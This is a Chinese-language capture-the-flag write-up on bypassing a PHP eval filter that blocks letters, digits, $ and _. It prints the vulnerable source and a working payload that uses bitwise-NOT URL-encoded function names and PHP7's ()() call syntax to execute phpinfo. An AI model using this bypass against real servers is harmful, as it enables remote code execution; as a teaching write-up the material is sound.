RCE - - 无字母数字远程命令执行

题目源码

cpp 复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

分析

这道题 code 接get传参,完了对传进来的内容进行正则匹配,通过观察还可以看出这道题有两个限制:

  1. webshell长度不超过35位

  2. 除了不包含字母数字,还不能包含$_

所以我们有关$和_的方式都无法实现了

php7解法

在PHP7中就不是非常困难,因为PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了()()这种形式的命令执行

<?php

(phpinfo())();

那么这道题就可以用这样的方式来做,但是还是会出现字母,我们就会想到编码,get传参使用urlcode编码,但是这种编码对只会对符号进行编码,字母并不在它的编码范围里,这是我们想到取反操作,得到:

(~%8F%97%8F%96%91%99%90)();

执行成功,我们只用把里面要去反的函数的反码进行更换即可。但是,这种方法只适用于php版本在7以上,低版本并不支持这种形式。

相关推荐
xiaotao1312 分钟前
第十五章:企业级部署方案
前端·vite·前端打包
weixin_408099673 分钟前
【实战教程】懒人精灵如何实现 OCR 文字识别?接口调用完整指南(附可运行示例)
java·前端·人工智能·后端·ocr·api·懒人精灵
没有故事、有酒6 分钟前
Vue2中el-table修改表头高度和行高
javascript·vue.js·elementui
把csdn当日记本的菜鸡8 分钟前
Vue3 响应式 API 简单学习
javascript·vue.js·学习
小李子呢021111 分钟前
前端八股5---组件通信
前端·javascript·vue.js
Daemon12 分钟前
AI Agent系列记录(第二篇)
前端·人工智能·后端
JianZhen✓12 分钟前
2026——Cursor全攻略+AI编程/前端辅助工具汇总(含问题速解)
前端·ai编程
vmiao14 分钟前
【JS进阶】模拟正确处理并渲染后台数据
前端·javascript
小彭努力中15 分钟前
204.Vue3 + OpenLayers:加载 GIF 文件(CSS 背景实现动画标记)
前端·css·vue·openlayers·geojson·webgis
Wect15 分钟前
JS手撕:函数进阶 & 设计模式解析
前端·javascript·面试